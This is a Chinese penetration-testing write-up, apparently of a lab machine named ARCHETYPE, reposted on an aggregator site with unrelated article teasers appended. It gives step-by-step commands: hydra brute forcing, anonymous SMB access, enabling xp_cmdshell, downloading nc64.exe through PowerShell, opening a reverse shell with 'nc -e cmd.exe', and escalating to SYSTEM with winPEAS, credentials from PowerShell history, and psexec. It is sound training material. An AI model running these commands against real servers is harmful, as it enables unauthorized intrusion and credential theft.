MSSQL渗透测试

目录

    • mssql数据库连接
    • 提权至服务器权限

拿到目标的IP地址,我们先对IP地址进行信息收集,收集信息资产,同时使用nmap对IP地址进行扫描

nmap -sC -sV IP

在这里插入图片描述

从扫描的结果中,我们能知道目标服务器是windows操作系统,使用的是mssql数据库,数据库端口对外开放,我们先对1433端口进行爆破

hydra -L /root/user.txt -P /root/pass.txt ip mssql -vv

在这里插入图片描述

没有扫描出账号密码,看一下其它的端口有没有可以利用的地方

这个135端口是高危端口,我们去网上搜索一下相关利用资料,发现这个端口在之前涉及到一个冲击波病毒,这个端口有登录点,可以进行爆破,我这里使用NTscan进行爆破,没有跑出来

https://zhuanlan.zhihu.com/p/56059871

在这里插入图片描述

RPC协议提供DCOM服务,使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输

下面的两个139和445端口试了,也没有什么突破,我们看到1433端口,有用到smb协议,我们尝试一下

smbclient -N -L IP

在这里插入图片描述

查看smb文件成功,smb协议是一种网络通信协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源

我们这里是使用空口令进行登录并且查看smb文件,说明这个地方存在空口令漏洞

在这里插入图片描述

接下来,我们一个个查看smb文件,看看有没有什么敏感的信息泄露

smbclient \\\\IP\\查看的文件名

在这里插入图片描述

权限不够,加$的目录需要管理员权限,看来我们的账号有点不太行,看一下backups的
在这里插入图片描述

prod.dtsConfig好像是一个配置文件,我们把它下载下来看一下

get prod.dtsConfig

在这里插入图片描述

这个配置文件是MSSQL中SSIS的XML格式配置文件,里面应该会有我们想要的信息

在这里插入图片描述

在这里,我们找到了mssql数据库的账号密码,那我们现在就去连接目标的mssql服务器

mssql数据库连接

使用Impacket工具中的mssqlclient.py脚本去连接,进入/root/impacket/examples/目录,然后使用mssqlclient.py脚本去连接就可以了

python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth

在这里插入图片描述

输入上面获得的密码,连接成功,获取

-windows-auth :使用 Windows 身份验证

我们接下来就是进行提权,我们需要判断sql_svc是不是管理员账号,权限够不够大

help

在这里插入图片描述

我们看到这里有xp_cmdshell功能,我们接着判断一下sql_svc是不是管理员账号

select is_srvrolemember('sysadmin');

在这里插入图片描述

返回1,说明是mssql的最高权限,sa,那我们就不需要提权了,我们试一下能不能执行命令

EXEC xp_cmdshell "net user";

在这里插入图片描述

返回error,说明xp_cmdshell功能不能使用,命令无法执行,我们使用以下命令组开启xp_cmdshell功能

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

在这里插入图片描述
在这里插入图片描述

xp_cmdshell "whoami"

在这里插入图片描述

确认命令能够执行,但是在数据库当中不好操作,所以我们接下来就要反弹shell
我们将上传nc.exe到目标服务器上,先开启HTTP服务器、nc侦听器

python3 -m http.server  80

在这里插入图片描述

nc -nvlp 1234

在这里插入图片描述

在目标数据库中查看当前目录

exec xp_cmdshell "powershell -c pwd";

在这里插入图片描述

路径在C:\Windows\system32,这个可不好操作,因为我们只是数据库的最高权限,是无法修改系统的目录,这个时候,我们要改变上传的目录,我进行了目录枚举,失败了,根本移动不了,从网上找了一个默认的上传目录
C:\Users\sql_svc\Downloads,切换到数据库的默认目录C:\Users\sql_svc\Downloads并下载我们本地的nc.exe

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://本地连接目标服务器的IP/nc64.exe -outfile nc64.exe"  

在这里插入图片描述
在这里插入图片描述

nc上传成功,nc反弹shell

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 本地连接目标服务器的IP 1234"

在这里插入图片描述
在这里插入图片描述

反弹shell成功,拿到目标数据库的权限

在这里插入图片描述

我们后续的命令在nc上面敲就好了,拿到数据库的权限,我们还要进一步提权,获取服务器的权限,以便于我们后续的信息收集

提权至服务器权限

在提权这里我使用的是winpeas,它可以帮我们寻找可以提权的方式
直接在nc界面输命令,先进入powershell界面

powershell

在这里插入图片描述

然后把winpeas.exe给下载进去

wget http://本地连接目标服务器的IP/winPEASx64.exe -outfile winpeas.exe

在这里插入图片描述
在这里插入图片描述

直接执行winpeas.exe这个工具就可以了,这个工具重点的东西,它会标红进行显示

.\winpeas.exe

在这里插入图片描述
在这里插入图片描述

看到这里,我知道这台服务器之前登录过两个账号,其中还有一个是管理员账号

ConsoleHost_history.txt是windows系统的powershell历史记录文件,我们去看看

cd AppData
cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
ls
type ConsoleHost_history.txt

在这里插入图片描述

我们直接看到了账号密码

winpeas不仅是一个提权的工具,它还能很好的收集服务器的信息,可以当作信息收集工具来使用,从它收集来的信息来看,这个目标没有内网

https://cloud.tencent.com/developer/article/2149150

在这里插入图片描述

我们得到了服务器管理员的账号密码,那我们现在就去连接一下,使用Impacket 套件中的psexec.py去连接

python3 psexec.py administrator@目标IP
whoami

在这里插入图片描述

成功获取服务器的system权限,因为没有内网就到这里了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2815375.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

iOS群控软件功能分析与代码分享!

随着移动互联网的迅猛发展,iOS设备作为市场上一大主流平台,其应用开发和管理越来越受到开发者和企业的重视,iOS群控软件,作为一种能够批量控制、管理和监控iOS设备的工具,逐渐展现出其强大的实用价值。 本文将详细分析…

Redis的高性能之道

前言:做码农这么多年,我也读过很多开源软件或者框架的源码,在我看来,Redis是我看过写得最优美、最像一件艺术品的软件,正如Redis之父自己说的那样,他宁愿以一个糟糕的艺术家身份而不是一名好程序员被别人记…

CrossOver2024电脑虚拟机软件详细介绍概述

CrossOver是由CodeWeavers开发的一款系统兼容软件,它能够在Mac和Linux操作系统上直接运行Windows应用程序,而无需创建或启动完整的Windows虚拟机。CrossOver通过模拟Windows应用程序所需的运行环境,实现了跨平台的无缝集成和高效运行。 Cross…

免费的Git图形界面工具sourceTree介绍

阅读本文同时请参阅-----代码库管理工具Git介绍 sourceTree是一款免费的Git图形界面工具,它简化了Git的使用过程,使得开发者可以更加方便地下载代码、更新代码、提交代码和处理冲突。下面我将详细介绍如何使用sourceTree进行这些操作。 1.下载和…

非线性优化-高斯牛顿法

在SLAM领域,后端多采用基于非线性优化的方法,来优化位姿和地图点,其中高斯牛顿法的使用频率很高。 求解高斯牛顿法的核心公式: 其中 f 是误差函数,J是误差关于待优化变量的雅可比矩阵。 其中H为海森矩阵&#xff08…

雷赛控制卡的扩展IO在雷赛软件里连不上是什么问题

雷赛控制卡的扩展IO在雷赛软件里连不上是什么问题 解决: 要拨码的,拨了码,记得断电

Redis之一: 简介及环境安装搭建

什么是NoSQL? NoSQL,指的是非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。 NoSQL用于超大规模数据的存储。(例如谷歌或Facebook每天为他们的用户收集万亿比特的数据&#xf…

Sentinel实战(待完善)

目录 服务雪崩 什么是服务雪崩 服务不可用原因 解决方案 技术选型对比 Sentinel 介绍 优点 核心概念 资源 规则 代码实战 API实现 SentinelResource注解埋点实现 服务雪崩 什么是服务雪崩 在服务调用链路中, 服务提供者不可用, 导致服务调用者不可用, 间接让上上游…

【Java EE初阶二十六】简单的表白墙(二)

2. 后端服务器部分 2.1 服务器分析 2.2 代码编写 2.2.2 前端发起一个ajax请求 2.2.3 服务器读取上述请求,并计算出响应 服务器需要使用 jackson 读取到前端这里的数据,并且进行解析: 代码运行图: 2.2.4 回到前端代码,处理服务器返回的响应…

【网站项目】424学报稿件管理系统

🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板&#xff…

【漏洞复现】大华智慧园区综合管理平台信息泄露漏洞

Nx01 产品简介 大华智慧园区综合管理平台是一款综合管理平台,具备园区运营、资源调配和智能服务等功能。该平台旨在协助优化园区资源分配,满足多元化的管理需求,同时通过提供智能服务,增强使用体验。 Nx02 漏洞描述 大华智慧园区…

Python多功能课堂点名器、抽签工具

一、问题缘起 去年,ChatGPT浪潮袭来,我懂简单的Python基础语法,又有一些点子,于是借助于人工智能问答工具,一步一步地制作了一个点名器,也可以用于抽签。当时,我已经设计好页面和基础的功能&am…

通过QScrollArea寻找最后一个弹簧并且设置弹簧大小

项目原因,最近需要通过QScrollArea寻找其中最后一个弹簧并且设置大小和策略,因为无法直接调用UI指针,所以只能用代码寻找。 直接上代码: if (m_scrollArea){int iScrollWidth m_labelSelectedTitle->width();m_scrollArea-&g…

vLLM: Easy, Fast, and Memory-Efficient LLM Serving with PagedAttention

论文:https://arxiv.org/abs/2309.06180 代码:GitHub - vllm-project/vllm: A high-throughput and memory-efficient inference and serving engine for LLMs 核心要点 为什么切换简单?Easy 本质是优化了底层推理过程的内存调用逻辑&#x…

2月28日代码随想录二叉搜索树中的众数

摸了一个寒假了,得赶一赶了 251.二叉搜索树中的众数 给你一个含重复值的二叉搜索树(BST)的根节点 root ,找出并返回 BST 中的所有 众数(即,出现频率最高的元素)。 如果树中有不止一个众数&am…

并查集例题(食物链)C++(Acwing)

代码&#xff1a; #include <iostream>using namespace std;const int N 50010;int n, m; int p[N], d[N];int find(int x) {if(p[x] ! x){int t find(p[x]);d[x] d[p[x]];p[x] t;}return p[x]; }int main() {scanf("%d%d", &n, &m);for(int i 1…

微服务Springcloud智慧工地APP源码 AI人工智能识别 支持多工地使用

目录 一、现状描述 二、行业难点 APP端功能 一、项目人员 二、视频监控 三、危大工程 四、绿色施工 五、安全隐患 AI智能识别 环境监测 实名制管理 智慧监测 智慧工地全套解决方案 一、现状描述 建筑工程建设具有明显的生产规模大宗性与生产场所固定性的特点。建…

Docker(运维工具)—— 学习笔记

快速构建、运行、管理应用的工具 一、安装docker 参考Install Docker Engine on Ubuntu | Docker Docs 二、快速入门 1、镜像和容器 docker镜像可以做到忽略操作系统的差异&#xff0c;跨平台运行&#xff0c;忽略安装的差异 当我们利用Docker安装应用时&#xff0c;Dock…

智能风控体系之滚动率矩阵

汇总收集网上相关数据风控应用&#xff0c;多多交流。 在信贷风控的建模场景中&#xff0c;围绕样本数据的目标变量Y定义&#xff0c;是非常重要且特别有意思的处理过程&#xff0c;原因是根据差异化的业务场景与数据形态&#xff0c;标签Y的定义逻辑没有固定方法&#xff0c;只…

Java8 Stream操作流10条常用方法

1.基础数据 Data AllArgsConstructor NoArgsConstructor public class User {private String name;private Integer age;private String sex;private String city; //城市private Integer money; //业绩金额 } //准备数据List<User> users new ArrayList<>();use…